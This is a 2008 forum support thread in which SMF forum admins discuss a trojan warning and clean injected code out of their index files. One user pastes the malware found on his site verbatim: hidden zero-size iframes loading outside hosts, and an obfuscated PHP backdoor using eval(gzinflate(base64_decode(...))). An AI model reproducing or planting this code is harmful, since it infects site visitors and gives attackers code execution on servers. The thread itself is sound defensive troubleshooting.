My forum has a virus?

Started by Mick., October 01, 2008, 11:30:27 PM

Previous topic - Next topic

Mick.

Members of my forum have reported seeing a message from McAfee antivirus saying that my website has a trojan called JS/Tenia.d.

how can this be corrected?

Thanx,Mick.

SlammedDime

Might have something to do with that iframes at the very end of the HTML source on your page.  You should look at index.php in your main SMF folder at the very end of the file.  If you didn't put it there, you should remove it.
SlammedDime
Former Lead Customizer
BitBucket Projects
GeekStorage.com Hosting
                      My Mods
SimpleSEF
Ajax Quick Reply
Sitemap
more...
                     

Mick.

Thanx dime.   You rock man.

Yep.....there was a string of codes there. Something about iFrames.  I removed it.

...but the questions is,......how did it get there?

[SiNaN]

AFAIK, that was a virus which added an iframe code to all index.* files. Probably because a person (maybe you) who has access to your FTP had this virus in his computer.
Former SMF Core Developer | My Mods | SimplePortal

Mick.

Quote from: [SiNaN] on October 06, 2008, 05:48:37 AM
AFAIK, that was a virus which added an iframe code to all index.* files. Probably because a person (maybe you) who has access to your FTP had this virus in his computer.

Yep.  I deleted all iframe codes on all index.php's and .htm files.

I hardly ever use FTP.   I use the cpanel for edits and stuff.

neoweb

euhm.. I got the same problem..  my index was infected with some piece of code..

<iframe src="http://wsx3host.net/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://msn-analytics.net/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

and in the top I found this:

if(@$_REQUEST['viewblog']=='1')eval(gzinflate(base64_decode('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')));

Is it harmfull?

Mick.

Yep.  Thats what i had.

you can find them at the very bottom of all your index.php files and .htm files.

Just delete everything inside the <iframe> tags.

GhostWalker

Wow so this is not at all an isolated event. I too had a "Virus" that SlammedDime took care of for me. Sorry, but it is good to know I was not the only one.

SlammedDime

Yours was quite different though GhostWalker :)  These guys had code injected into their files, you had new files created with rogue code.
SlammedDime
Former Lead Customizer
BitBucket Projects
GeekStorage.com Hosting
                      My Mods
SimpleSEF
Ajax Quick Reply
Sitemap
more...
                     

GhostWalker

Ohh :( Well you are amazing for the help anyway!

Advertisement: